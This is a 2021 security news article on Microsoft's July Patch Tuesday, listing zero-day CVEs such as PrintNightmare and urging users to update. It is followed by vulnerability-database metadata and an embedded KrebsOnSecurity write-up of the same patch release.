Update Your Windows PCs to Patch 117 New Flaws, Including 9 Zero-Days

2021-07-14T05:03:00

Description

[![](https://thehackernews.com/images/-aVEUxlp9r9o/YO5q47NA_bI/AAAAAAAADL4/tkntZNY2smU5FPaAkTU1qBYUg8VPhp8NACLcBGAsYHQ/s0/windows-update-download.jpg)](<https://thehackernews.com/images/-aVEUxlp9r9o/YO5q47NA_bI/AAAAAAAADL4/tkntZNY2smU5FPaAkTU1qBYUg8VPhp8NACLcBGAsYHQ/s0/windows-update-download.jpg>) Microsoft rolled out [Patch Tuesday updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) for the month of July with fixes for a total of 117 security vulnerabilities, including nine zero-day flaws, of which four are said to be under active attacks in the wild, potentially enabling an adversary to take control of affected systems. Of the 117 issues, 13 are rated Critical, 103 are rated Important, and one is rated as Moderate in severity, with six of these bugs publicly known at the time of release. The updates span across several of Microsoft's products, including Windows, Bing, Dynamics, Exchange Server, Office, Scripting Engine, Windows DNS, and Visual Studio Code. July also marks a dramatic jump in the volume of vulnerabilities, surpassing the number Microsoft collectively addressed as part of its updates in [May](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) (55) and [June](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) (50). Chief among the security flaws actively exploited are as follows — * **CVE-2021-34527** (CVSS score: 8.8) - Windows Print Spooler Remote Code Execution Vulnerability (publicly disclosed as "[PrintNightmare](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)") * **CVE-2021-31979** (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability * **CVE-2021-33771** (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability * **CVE-2021-34448** (CVSS score: 6.8) - Scripting Engine Memory Corruption Vulnerability Microsoft also stressed the high attack complexity of CVE-2021-34448, specifically stating that the attacks hinge on the possibility of luring an unsuspecting user into clicking on a link that leads to a malicious website hosted by the adversary and contains a specially-crafted file that's engineered to trigger the vulnerability. The other five publicly disclosed, but not exploited, zero-day vulnerabilities are listed below — * **CVE-2021-34473** (CVSS score: 9.1) - Microsoft Exchange Server Remote Code Execution Vulnerability * **CVE-2021-34523** (CVSS score: 9.0) - Microsoft Exchange Server Elevation of Privilege Vulnerability * **CVE-2021-33781** (CVSS score: 8.1) - Active Directory Security Feature Bypass Vulnerability * **CVE-2021-33779** (CVSS score: 8.1) - Windows ADFS Security Feature Bypass Vulnerability * **CVE-2021-34492** (CVSS score: 8.1) - Windows Certificate Spoofing Vulnerability "This Patch Tuesday comes just days after out-of-band updates were released to address PrintNightmare — the critical flaw in the Windows Print Spooler service that was found in all versions of Windows," Bharat Jogi, senior manager of vulnerability and threat research at Qualys, told The Hacker News. "While MSFT has released updates to fix the vulnerability, users must still ensure that necessary configurations are set up correctly. Systems with misconfigurations will continue to be at risk of exploitation, even after the latest patch has been applied. PrintNightmare was a highly serious issue that further underscores the importance of marrying detection and remediation," Jogi added. The PrintNightmare vulnerability has also prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to [release an emergency directive](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/13/cisa-issues-emergency-directive-microsoft-windows-print-spooler>), urging federal departments and agencies to apply the latest security updates immediately and disable the print spooler service on servers on Microsoft Active Directory Domain Controllers. Additionally, Microsoft also rectified a security bypass vulnerability in Windows Hello biometrics-based authentication solution ([CVE-2021-34466](<https://www.cyberark.com/resources/threat-research-blog/bypassing-windows-hello-without-masks-or-plastic-surgery>), CVSS score: 5.7) that could permit an adversary to spoof a target's face and get around the login screen. Other critical flaws remediated by Microsoft include remote code execution vulnerabilities affecting Windows DNS Server (CVE-2021-34494, CVSS score 8.8) and Windows Kernel (CVE-2021-34458), the latter of which is rated 9.9 on the CVSS severity scale. "This issue allows a single root input/output virtualization (SR-IOV) device which is assigned to a guest to potentially interfere with its Peripheral Component Interface Express (PCIe) siblings which are attached to other guests or to the root," Microsoft noted in its advisory for CVE-2021-34458, adding Windows instances hosting virtual machines are vulnerable to this flaw. To install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates. ### Software Patches From Other Vendors Alongside Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including — * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>) * [Android](<https://source.android.com/security/bulletin/2021-07-01>) * [Apache Tomcat](<https://mail-archives.us.apache.org/mod_mbox/www-announce/202107.mbox/%3Cd050b202-b64e-bc6f-a630-2dd83202f23a%40apache.org%3E>) * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>) * [Citrix](<https://support.citrix.com/article/CTX319750>) * [Juniper Networks](<https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11180&cat=SIRT_1&actp=LIST>) * Linux distributions [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-July/thread.html>), [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), and [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>) * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=580617506>) * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>) * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>), and * [VMware](<https://www.vmware.com/security/advisories.html>) Found this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter __](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.

{"id": "THN:9FD8A70F9C17C3AF089A104965E48C95", "vendorId": null, "type": "thn", "bulletinFamily": "info", "title": "Update Your Windows PCs to Patch 117 New Flaws, Including 9 Zero-Days", "description": "[![](https://thehackernews.com/images/-aVEUxlp9r9o/YO5q47NA_bI/AAAAAAAADL4/tkntZNY2smU5FPaAkTU1qBYUg8VPhp8NACLcBGAsYHQ/s0/windows-update-download.jpg)](<https://thehackernews.com/images/-aVEUxlp9r9o/YO5q47NA_bI/AAAAAAAADL4/tkntZNY2smU5FPaAkTU1qBYUg8VPhp8NACLcBGAsYHQ/s0/windows-update-download.jpg>)\n\nMicrosoft rolled out [Patch Tuesday updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) for the month of July with fixes for a total of 117 security vulnerabilities, including nine zero-day flaws, of which four are said to be under active attacks in the wild, potentially enabling an adversary to take control of affected systems. \n\nOf the 117 issues, 13 are rated Critical, 103 are rated Important, and one is rated as Moderate in severity, with six of these bugs publicly known at the time of release. \n\nThe updates span across several of Microsoft's products, including Windows, Bing, Dynamics, Exchange Server, Office, Scripting Engine, Windows DNS, and Visual Studio Code. July also marks a dramatic jump in the volume of vulnerabilities, surpassing the number Microsoft collectively addressed as part of its updates in [May](<https://thehackernews.com/2021/05/latest-microsoft-windows-updates-patch.html>) (55) and [June](<https://thehackernews.com/2021/06/update-your-windows-computers-to-patch.html>) (50).\n\nChief among the security flaws actively exploited are as follows \u2014\n\n * **CVE-2021-34527** (CVSS score: 8.8) - Windows Print Spooler Remote Code Execution Vulnerability (publicly disclosed as \"[PrintNightmare](<https://thehackernews.com/2021/07/microsofts-emergency-patch-fails-to.html>)\")\n * **CVE-2021-31979** (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability\n * **CVE-2021-33771** (CVSS score: 7.8) - Windows Kernel Elevation of Privilege Vulnerability\n * **CVE-2021-34448** (CVSS score: 6.8) - Scripting Engine Memory Corruption Vulnerability\n\nMicrosoft also stressed the high attack complexity of CVE-2021-34448, specifically stating that the attacks hinge on the possibility of luring an unsuspecting user into clicking on a link that leads to a malicious website hosted by the adversary and contains a specially-crafted file that's engineered to trigger the vulnerability.\n\nThe other five publicly disclosed, but not exploited, zero-day vulnerabilities are listed below \u2014\n\n * **CVE-2021-34473** (CVSS score: 9.1) - Microsoft Exchange Server Remote Code Execution Vulnerability\n * **CVE-2021-34523** (CVSS score: 9.0) - Microsoft Exchange Server Elevation of Privilege Vulnerability\n * **CVE-2021-33781** (CVSS score: 8.1) - Active Directory Security Feature Bypass Vulnerability\n * **CVE-2021-33779** (CVSS score: 8.1) - Windows ADFS Security Feature Bypass Vulnerability\n * **CVE-2021-34492** (CVSS score: 8.1) - Windows Certificate Spoofing Vulnerability\n\n\"This Patch Tuesday comes just days after out-of-band updates were released to address PrintNightmare \u2014 the critical flaw in the Windows Print Spooler service that was found in all versions of Windows,\" Bharat Jogi, senior manager of vulnerability and threat research at Qualys, told The Hacker News.\n\n\"While MSFT has released updates to fix the vulnerability, users must still ensure that necessary configurations are set up correctly. Systems with misconfigurations will continue to be at risk of exploitation, even after the latest patch has been applied. PrintNightmare was a highly serious issue that further underscores the importance of marrying detection and remediation,\" Jogi added.\n\nThe PrintNightmare vulnerability has also prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to [release an emergency directive](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/13/cisa-issues-emergency-directive-microsoft-windows-print-spooler>), urging federal departments and agencies to apply the latest security updates immediately and disable the print spooler service on servers on Microsoft Active Directory Domain Controllers.\n\nAdditionally, Microsoft also rectified a security bypass vulnerability in Windows Hello biometrics-based authentication solution ([CVE-2021-34466](<https://www.cyberark.com/resources/threat-research-blog/bypassing-windows-hello-without-masks-or-plastic-surgery>), CVSS score: 5.7) that could permit an adversary to spoof a target's face and get around the login screen.\n\nOther critical flaws remediated by Microsoft include remote code execution vulnerabilities affecting Windows DNS Server (CVE-2021-34494, CVSS score 8.8) and Windows Kernel (CVE-2021-34458), the latter of which is rated 9.9 on the CVSS severity scale.\n\n\"This issue allows a single root input/output virtualization (SR-IOV) device which is assigned to a guest to potentially interfere with its Peripheral Component Interface Express (PCIe) siblings which are attached to other guests or to the root,\" Microsoft noted in its advisory for CVE-2021-34458, adding Windows instances hosting virtual machines are vulnerable to this flaw.\n\nTo install the latest security updates, Windows users can head to Start > Settings > Update & Security > Windows Update or by selecting Check for Windows updates.\n\n### Software Patches From Other Vendors\n\nAlongside Microsoft, patches have also been released by a number of other vendors to address several vulnerabilities, including \u2014\n\n * [Adobe](<https://helpx.adobe.com/security.html/security/security-bulletin.ug.html>)\n * [Android](<https://source.android.com/security/bulletin/2021-07-01>)\n * [Apache Tomcat](<https://mail-archives.us.apache.org/mod_mbox/www-announce/202107.mbox/%3Cd050b202-b64e-bc6f-a630-2dd83202f23a%40apache.org%3E>)\n * [Cisco](<https://tools.cisco.com/security/center/publicationListing.x>)\n * [Citrix](<https://support.citrix.com/article/CTX319750>)\n * [Juniper Networks](<https://kb.juniper.net/InfoCenter/index?page=content&id=JSA11180&cat=SIRT_1&actp=LIST>)\n * Linux distributions [SUSE](<https://lists.suse.com/pipermail/sle-security-updates/2021-July/thread.html>), [Oracle Linux](<https://linux.oracle.com/ords/f?p=105:21>), and [Red Hat](<https://access.redhat.com/security/security-updates/#/security-advisories?q=&p=2&sort=portal_publication_date%20desc&rows=10&portal_advisory_type=Security%20Advisory&documentKind=Errata>)\n * [SAP](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=580617506>)\n * [Schneider Electric](<https://www.se.com/ww/en/work/support/cybersecurity/overview.jsp>)\n * [Siemens](<https://new.siemens.com/global/en/products/services/cert.html#SecurityPublications>), and\n * [VMware](<https://www.vmware.com/security/advisories.html>)\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "published": "2021-07-14T05:03:00", "modified": "2021-07-17T11:52:45", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}, "cvss2": {"cvssV2": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "baseScore": 10.0}, "severity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}, "cvss3": {"cvssV3": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH", "baseScore": 9.9, "baseSeverity": "CRITICAL"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, "href": "https://thehackernews.com/2021/07/update-your-windows-pcs-to-patch-117.html", "reporter": "The Hacker News", "references": [], "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-33779", "CVE-2021-33781", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34466", "CVE-2021-34473", "CVE-2021-34492", "CVE-2021-34494", "CVE-2021-34523", "CVE-2021-34527"], "immutableFields": [], "lastseen": "2022-05-09T12:39:21", "viewCount": 307, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:116FDAE6-8C6E-473E-8D39-247560D01C09", "AKB:2034EF9D-C938-410E-8DB8-9CDEB9C41A7A", "AKB:25996325-FA5B-4DD4-ACED-28622F416D0A", "AKB:4A54845F-B7FC-431A-9835-BEE5172157DD", "AKB:6F1D646E-2CDB-4382-A212-30728A7DB899", "AKB:7575B82F-7B7A-4416-B1AA-B8A2DF4D0800", "AKB:9ADF44D2-FA0D-4643-8B97-8B46983B6917", "AKB:BDCF4DDE-714E-40C0-B4D9-2B4ECBAD31FF", "AKB:C4CD066B-E590-48F0-96A7-FFFAFC3D23CC", "AKB:CDA9C43E-015D-4B04-89D3-D6CABC5729B9", "AKB:F285551F-85D9-4674-BAB6-921B4A20A97A"]}, {"type": "avleonov", "idList": ["AVLEONOV:30285D85FDB40C8D55F6A24D9D446ECF", "AVLEONOV:36BA0DE03DB6F8D0C96B6861C9A07473", "AVLEONOV:B0F649A99B171AC3032AF71B1DCCFE34", "AVLEONOV:BAA1E4E49B508F98138C7EBA9B9C07E6"]}, {"type": "cert", "idList": ["VU:383432"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0448", "CPAI-2021-0449", "CPAI-2021-0465", "CPAI-2021-0476", "CPAI-2021-0477"]}, {"type": "cisa", "idList": ["CISA:367C27124C09604830E0725F5F3123F7", "CISA:4F4185688CEB9B9416A98FE75E7AFE02", "CISA:6C836D217FB0329B2D68AD71789D1BB0", "CISA:8C51810D4AACDCCDBF9D526B4C21660C", "CISA:91DA945EA20AF1A221FDE02A2D9CE315"]}, {"type": "cve", "idList": ["CVE-2021-31196", "CVE-2021-31206", "CVE-2021-31979", "CVE-2021-33746", "CVE-2021-33754", "CVE-2021-33768", "CVE-2021-33771", "CVE-2021-33779", "CVE-2021-33780", "CVE-2021-33781", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34466", "CVE-2021-34470", "CVE-2021-34473", "CVE-2021-34492", "CVE-2021-34494", "CVE-2021-34508", "CVE-2021-34514", "CVE-2021-34523", "CVE-2021-34525", "CVE-2021-34527"]}, {"type": "fireeye", "idList": ["FIREEYE:FC60CAB5C936FF70E94A7C9307805695"]}, {"type": "githubexploit", "idList": ["0263BC36-BEB1-519B-965B-52D9E6AB116F", "0A015784-48D7-5DC1-9FB9-416A9BBEA6D5", "0BB19334-D311-5464-B40B-7B27A0AD8825", "1E42289A-77F8-55A2-B85E-83CAA00CE951", "21F83D93-118D-50C7-A5C0-B2069237666E", "2D0AC1C7-F656-5D6B-9FC2-79525014BE1E", "3399B834-8492-5C0C-AA14-7F120BA37AF6", "3DF3AA17-94C8-5E17-BCB8-F806D1746CDF", "4A3F2A96-B727-5EF1-B1C1-FE041BA02E28", "4AC49DB9-A784-561B-BF92-94209310B51B", "4E279194-AC85-5607-A943-AC23EADADEF7", "5AE71695-062E-5DBA-9A16-69BD0C7D1384", "64AAF745-D50D-575C-B3FF-A09072475502", "7C3B421E-ED99-5C5F-B2BA-4418307C0EBF", "8542D571-7253-5609-BC52-CBCB5F40929A", "86F04665-0984-596F-945A-3CA176A53057", "8EDE916A-F04B-59F0-A88D-13DEF969DC00", "98CA9A39-577D-51F2-B8B9-B20E80D94173", "AAD37CB5-B2C3-5908-B0D3-052CF47F6D25", "B03B4134-B4C9-5B2D-BA55-EEEA540389F4", "B3DDE0DD-F0B0-542D-8154-F61DCD2E49D9", "B8D9E2C0-202B-5806-88D2-B0E797582618", "BDFBDA81-0DEB-5523-B538-F23C3B524986", "CD2BFDFF-9EBC-5C8F-83EC-62381CD9BCD5", "D089579B-4420-5AD5-999F-45063D972E66", "DF28DCE7-CCFF-5653-81BA-719525BE09AD", "E235B3DF-990F-5508-9496-90462B45125D", "E458F533-4B97-51A1-897B-1AF58218F2BF", "E7D3FB75-54DE-5CD8-83D6-438BFC7CFA74", "E82ECEEF-07B8-5340-BAC6-FA5B0E964772", "F00E8BE4-12D2-5F5B-A9AA-D627780259FB", "F1347375-6380-5145-9881-486B76875649", "F14BCE6F-3415-59C7-AC9D-A5D7ABE1BB8E", "F1B229EB-2178-53B9-839E-BA0B916376A2", "F92F972D-7309-5D0B-BCC2-054883AE83E9", "FBC9D472-5E25-508D-AB6E-B3197FCFED2D"]}, {"type": "googleprojectzero", "idList": ["GOOGLEPROJECTZERO:CA925EE6A931620550EF819815B14156"]}, {"type": "hivepro", "idList": ["HIVEPRO:09525E3475AC1C5F429611A90182E82F", "HIVEPRO:10B372979ED5F121D7A84FB66487023E", "HIVEPRO:186D6EE394314F861D57F4243E31E975", "HIVEPRO:8D09682ECAC92A6EA4B81D42F45F0233", "HIVEPRO:8DA601C83DB9C139357327C06B06CB36", "HIVEPRO:92FF0246065B21E79C7D8C800F2DED76", "HIVEPRO:C0B03D521C5882F1BE07ECF1550A5F74", "HIVEPRO:DB06BB609FE1B4E7C95CDC5CB2A38B28", "HIVEPRO:E7E537280075DE5C0B002F1AF44BE1C5", "HIVEPRO:E7F36EC1E4DCF018F94ECD22747B7093", "HIVEPRO:F2305684A25C735549865536AA4254BF"]}, {"type": "kaspersky", "idList": ["KLA12213", "KLA12214", "KLA12221", "KLA12224", "KLA12226"]}, {"type": "kitploit", "idList": ["KITPLOIT:232707789076746523"]}, {"type": "krebs", "idList": ["KREBS:3CC49021549439F95A2EDEB2029CF54E", "KREBS:831FD0B726B800B2995A68BA50BD8BE3"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:42218FB85F05643E0B2C2C7D259EFEB5", "MALWAREBYTES:6A4862332586F98DA4761BE2B684752F", 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"cve", "idList": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-33779", "CVE-2021-33781", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34466", "CVE-2021-34473", "CVE-2021-34492", "CVE-2021-34494", "CVE-2021-34523", "CVE-2021-34527"]}, {"type": "fireeye", "idList": ["FIREEYE:FC60CAB5C936FF70E94A7C9307805695"]}, {"type": "githubexploit", "idList": ["F14BCE6F-3415-59C7-AC9D-A5D7ABE1BB8E"]}, {"type": "hivepro", "idList": ["HIVEPRO:C0B03D521C5882F1BE07ECF1550A5F74", "HIVEPRO:E7E537280075DE5C0B002F1AF44BE1C5"]}, {"type": "kaspersky", "idList": ["KLA12213", "KLA12214", "KLA12221", "KLA12224", "KLA12226"]}, {"type": "kitploit", "idList": ["KITPLOIT:232707789076746523"]}, {"type": "krebs", "idList": ["KREBS:3CC49021549439F95A2EDEB2029CF54E", "KREBS:831FD0B726B800B2995A68BA50BD8BE3"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:42218FB85F05643E0B2C2C7D259EFEB5", "MALWAREBYTES:6A4862332586F98DA4761BE2B684752F", "MALWAREBYTES:DA59FECA8327C8353EA012EA1B957C7E", "MALWAREBYTES:DB34937B6474073D9444648D34438225"]}, {"type": "metasploit", "idList": ["MSF:EXPLOIT/WINDOWS/HTTP/EXCHANGE_PROXYSHELL_RCE/", "MSF:ILITIES/MSFT-CVE-2021-34527/"]}, {"type": "mmpc", "idList": ["MMPC:FA096F112DC9423A9C4E3850DD8721F3"]}, {"type": "mscve", "idList": ["MS:CVE-2021-1675", "MS:CVE-2021-31979", "MS:CVE-2021-33771", "MS:CVE-2021-33779", "MS:CVE-2021-33781", "MS:CVE-2021-34448", "MS:CVE-2021-34458", "MS:CVE-2021-34466", "MS:CVE-2021-34473", "MS:CVE-2021-34492", "MS:CVE-2021-34494", "MS:CVE-2021-34523", "MS:CVE-2021-34527"]}, {"type": "mskb", "idList": ["KB5001779", "KB5004945"]}, {"type": "msrc", "idList": ["MSRC:239E65C8BEB88185329D9990C80B10DF", "MSRC:CB3C49E52425E7C1B0CFB151C6D488A4"]}, {"type": "mssecure", "idList": ["MSSECURE:FA096F112DC9423A9C4E3850DD8721F3"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_APR_EXCHANGE.NASL", "SMB_NT_MS21_JUL_5004945.NASL", "SMB_NT_MS21_JUL_5004946.NASL", "SMB_NT_MS21_JUL_5004947.NASL", "SMB_NT_MS21_JUL_5004948.NASL", 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"idList": ["SAP"]}, {"type": "talosblog", "idList": ["TALOSBLOG:44F665C3D577FC52EF671E9C0CB1750F", "TALOSBLOG:8CDF0A62E30713225D10811E0E977C1D"]}, {"type": "thn", "idList": ["THN:10A732F6ED612DC7431BDC9A3CEC3A29", "THN:42B8A8C00254E7187FE0F1EF2AF6F5D7", "THN:5BE77895D84D1FB816C73BB1661CE8EB", "THN:6428957E9DED493169A2E63839F98667", "THN:9CE630030E0F3E3041E633E498244C8D", "THN:CAFA6C5C5A34365636215CFD7679FD50", "THN:CDCF433A7837180E1F294791C672C5BB", "THN:CF5E93184467C7B8F56A517CE724ABCF", "THN:FA40708E1565483D14F9A31FC019FCE1"]}, {"type": "threatpost", "idList": ["THREATPOST:1CEC18436389CF557E4D0F83AE022A53", "THREATPOST:4B2E19CAF27A3EFBCB2F777C6E528317", "THREATPOST:6F7C157D4D3EB409080D90F02185E728", "THREATPOST:83C349A256695022C2417F465CEB3BB2", "THREATPOST:933913B1D9B9CF84D33FECFC77C2FDC8", "THREATPOST:98D815423018872E6E596DAA8131BF3F", "THREATPOST:A8242348917526090B7A1B23735D5C6C", "THREATPOST:D112254AD1BEFC1317E4CFFA015742B2", "THREATPOST:EB7BF883D5C48A5EBA6AEBB2C210211A"]}, {"type": "zdi", "idList": ["ZDI-21-821", "ZDI-21-822"]}, {"type": "zdt", "idList": ["1337DAY-ID-36667"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2021-31979", "epss": "0.000490000", "percentile": "0.154190000", "modified": "2023-03-17"}, {"cve": "CVE-2021-33771", "epss": "0.000490000", "percentile": "0.154190000", "modified": "2023-03-17"}, {"cve": "CVE-2021-33779", "epss": "0.001140000", "percentile": "0.432820000", "modified": "2023-03-17"}, {"cve": "CVE-2021-33781", "epss": "0.001110000", "percentile": "0.425880000", "modified": "2023-03-17"}, {"cve": "CVE-2021-34448", "epss": "0.091060000", "percentile": "0.936250000", "modified": "2023-03-17"}, {"cve": "CVE-2021-34458", "epss": "0.023170000", "percentile": "0.879970000", "modified": "2023-03-17"}, {"cve": "CVE-2021-34466", "epss": "0.000770000", "percentile": "0.314250000", "modified": "2023-03-17"}, {"cve": "CVE-2021-34473", "epss": "0.974090000", "percentile": "0.998460000", "modified": "2023-03-17"}, {"cve": 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{"krebs": [{"lastseen": "2021-07-28T14:33:34", "description": "![](https://krebsonsecurity.com/wp-content/uploads/2021/07/windupate.png)\n\n**Microsoft** today released updates to patch at least 116 security holes in its **Windows** operating systems and related software. At least four of the vulnerabilities addressed today are under active attack, according to Microsoft.\n\nThirteen of the security bugs quashed in this month's release earned Microsoft's most-dire "critical" rating, meaning they can be exploited by malware or miscreants to seize remote control over a vulnerable system without any help from users.\n\nAnother 103 of the security holes patched this month were flagged as "important," which Microsoft assigns to vulnerabilities "whose exploitation could result in compromise of the confidentiality, integrity, or availability of user data, or of the integrity or availability of processing resources."\n\nAmong the critical bugs is of course the official fix for the **PrintNightmare** print spooler flaw in most versions of Windows ([CVE-2021-34527](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34527>)) that prompted Microsoft [to rush out a patch for a week ago](<https://krebsonsecurity.com/2021/07/microsoft-issues-emergency-patch-for-windows-flaw/>) in response to exploit code for the flaw that got accidentally published online. That patch seems to have caused a number of problems for Windows users. Here's hoping the updated fix resolves some of those issues for readers who've been holding out.\n\n[CVE-2021-34448](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34448>) is a critical remote code execution vulnerability in the scripting engine built into every supported version of Windows -- including server versions. Microsoft says this flaw is being exploited in the wild.\n\nBoth [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33771>) and [CVE-2021-31979](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31979>) are elevation of privilege flaws in the Windows kernel. Both are seeing active exploitation, according to Microsoft.\n\n**Chad McNaughton**, technical community manager at **Automox**, called attention to [CVE-2021-34458](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34458>), a remote code execution flaw in the deepest areas of the operating system. McNaughton said this vulnerability is likely to be exploited because it is a "low-complexity vulnerability requiring low privileges and no user interaction."\n\nAnother concerning critical vulnerability in the July batch is [CVE-2021-34494](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34494>), a dangerous bug in the Windows DNS Server.\n\n"Both core and full installations are affected back to Windows Server 2008, including versions 2004 and 20H2," said **Aleks Haugom**, also with Automox.\n\n"DNS is used to translate IP addresses to more human-friendly names, so you don\u2019t have to remember the jumble of numbers that represents your favorite social media site," Haugom said. "In a Windows Domain environment, Windows DNS Server is critical to business operations and often installed on the domain controller. This vulnerability could be particularly dangerous if not patched promptly."\n\nMicrosoft also patched six vulnerabilities in **Exchange Server**, an email product that has been under siege all year from attackers. **Satnam Narang**, staff research engineer at **Tenable**, noted that while Microsoft says two of the Exchange bugs tackled this month ([CVE-2021-34473](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34473>) and [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-34523>)) were addressed as part of its security updates from April 2021, both CVEs were somehow omitted from that April release. Translation: If you already applied the bevy of Exchange updates Microsoft made available in April, your Exchange systems have protection against these flaws.\n\nOther products that got patches today include **Microsoft Office**, **Bing**, **SharePoint Server**, **Internet Explorer**, and **Visual Studio**. The **SANS Internet Storm Center** as always has [a nice visual breakdown of all the patches by severity](<https://isc.sans.org/forums/diary/Microsoft+July+2021+Patch+Tuesday/27628/>).\n\n**Adobe** also [issued security updates today](<https://helpx.adobe.com/security.html>) for **Adobe Acrobat** and **Reader**, as well as **Dimension**, **Illustrator**, Framemaker and Adobe Bridge.\n\n**Chrome** and **Firefox** also recently have shipped important security updates, so if you haven't done so recently take a moment to save your tabs/work, completely close out and restart the browser, which should apply any pending updates.\n\nThe usual disclaimer:\n\nBefore you update with this month\u2019s patch batch, please make sure you have backed up your system and/or important files. It\u2019s not uncommon for Windows updates to hose one\u2019s system or prevent it from booting properly, and some updates even have been known to erase or corrupt files.\n\nSo do yourself a favor and backup _before_ installing any patches. Windows 10 even has [some built-in tools](<https://lifehacker.com/how-to-back-up-your-computer-automatically-with-windows-1762867473>) to help you do that, either on a per-file/folder basis or by making a complete and bootable copy of your hard drive all at once.\n\nAnd if you wish to ensure Windows has been set to pause updating so you can back up your files and/or system before the operating system decides to reboot and install patches on its own schedule, see [this guide](<https://www.computerworld.com/article/3543189/check-to-make-sure-you-have-windows-updates-paused.html>).\n\nAs always, if you experience glitches or problems installing any of these patches this month, please consider leaving a comment about it below; there\u2019s a better-than-even chance other readers have experienced the same and may chime in here with some helpful tips. Also, check out [AskWoody](<https://www.askwoody.com/>), which keeps a close eye out for specific patches that may be causing problems for users.", "cvss3": {"exploitabilityScore": 3.1, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.9, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-07-13T21:41:47", "type": "krebs", "title": "Microsoft Patch Tuesday, July 2021 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34494", "CVE-2021-34473", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34523", "CVE-2021-34458", "CVE-2021-34527", "CVE-2021-31979"], "modified": "2021-07-13T21:41:47", "id": "KREBS:831FD0B726B800B2995A68BA50BD8BE3", "href": "https://krebsonsecurity.com/2021/07/microsoft-patch-tuesday-july-2021-edition/", "cvss": {"score": 